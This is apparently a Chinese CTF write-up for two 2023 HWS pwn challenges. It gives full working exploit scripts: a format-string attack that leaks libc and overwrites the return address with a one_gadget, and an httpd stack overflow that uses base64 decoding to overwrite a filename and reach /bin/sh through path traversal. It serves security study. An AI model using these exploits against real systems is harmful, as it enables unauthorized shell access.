2023-HWS-pwn复现

fmt

前言

这个题比较简单,但是如果不是自己去构造字符串用pwntools去构造的payload的链就会出现字节长度太长的可能性,于是我们可以修改一下脚本去达到利用。

这是格式化payload构造函数的参数解析,我们修改最后的write_size即可,有时候byte构造出来的不一定是最小的,可以使用不同的来试试

1
2
3
4
5
6
# 总共四个参数:
# offset --> 偏移量
# writes --> {被覆盖的地址:要写入的地址}
# numbwritten --> 已经由printf函数写入的字节数,默认为0
# write_size --> 逐byte/short/int写入,默认是byte,这样发送的字节少
pad = fmtstr_payload(offset, {stack_ret:onegadget},write_size="short")

题解

分析文件,可以发现存在格式化字符串漏洞,但是保护全开,就不能改got表,于是我们去修改返回地址即可。

1
2
3
4
5
6
7
8
9
10
11
12
  v2 = __readfsqword(0x28u);
printf("I need a str: ");
read_n((__int64)s1, 80);
if ( !strcmp(s1, "EXIT") )
exit(0);
printf(s1);
putchar('\n');
printf("I need other str: ");
read_n((__int64)s1, 80);
printf(s1);
return __readfsqword(0x28u) ^ v2;
}

先泄露libc地址,然后再ret覆盖为onegadget即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# --------------------------exploit--------------------------
def exploit():

pl = "%21$p%14$p"
sla("I need a str: ",pl)
buf = ru("0x")
libc_base = int(r(12),16)-libc.symbols['__libc_start_main']-243 #通过方法泄露程序的地址然后解包
print("libc_base------>%s"%hex(libc_base))
buf = ru("0x")
stack_ret = int(r(12),16)+0x8 #通过方法泄露程序的地址然后解包
print("stack_ret------>%s"%hex(stack_ret))

offset = 6
onegadget = 0xe3b01+libc_base
# 格式化payload构造函数
# 总共四个参数:
# offset --> 偏移量
# writes --> {被覆盖的地址:要写入的地址}
# numbwritten --> 已经由printf函数写入的字节数,默认为0
# write_size --> 逐byte/short/int写入,默认是byte,这样发送的字节少
pad = fmtstr_payload(offset, {stack_ret:onegadget},write_size="short")
sla("I need other str: ",pad)
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

'''

httpd

前言

这个题我自己属于是没咋分析出来的,在了解了师傅们的思路后才出的,我是废物,后面一定多刷刷webpwn的题来学习一下

题解

通过分析逆向文件,发现输入函数存在栈溢出漏洞,可以覆盖到recv_buf后面的数据

image-20230717170125553

因为变量的顺序是这样的,于是我们可以通过from_socat_recv_str去控制V18

1
2
3
char recv_buf[16]; // [rsp+520h] [rbp-410h] BYREF
char v17[5]; // [rsp+530h] [rbp-400h] BYREF
_BYTE v18[1011]; // [rsp+535h] [rbp-3FBh] BYREF

又发现在其中一个函数中存在文件执行,但是又从输入的文件名中,把路径穿越漏洞给保护住了

image-20230717170247876

但是文件名名上面存在v12,v12可以在base64解码的时候用来覆盖

image-20230717170406526

然后利用base64解码的函数去覆盖filename

image-20230718084054311

于是利用脚本如下

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def base64_encode(text):
text_bytes = text.encode('utf-8') # 将文本转换为字节数据
encoded_bytes = base64.b64encode(text_bytes) # 对字节数据进行base64编码
return encoded_bytes

def base64_decode(encoded_text):
encoded_bytes = encoded_text.encode('utf-8') # 将字符串转换为字节数据
decoded_bytes = base64.b64decode(encoded_bytes) # 对字节数据进行base64解码
decoded_text = decoded_bytes.decode('utf-8') # 将解码后的字节数据转换为文本
return decoded_text
# --------------------------exploit--------------------------
def exploit():
sleep(1)
payload=b'GET aaabbbcccddd/bin/sh?index.html'
sl(payload)
sleep(1)
payload=b'A'*21+b'A'*84+base64_encode("A/../../../../")
sl(payload)
sleep(1)
sl(b'Authorization: Basic ')
sleep(1)
s(b'\n')



def se(x):
sla("> ",str(x))

def finish():
ia()
c()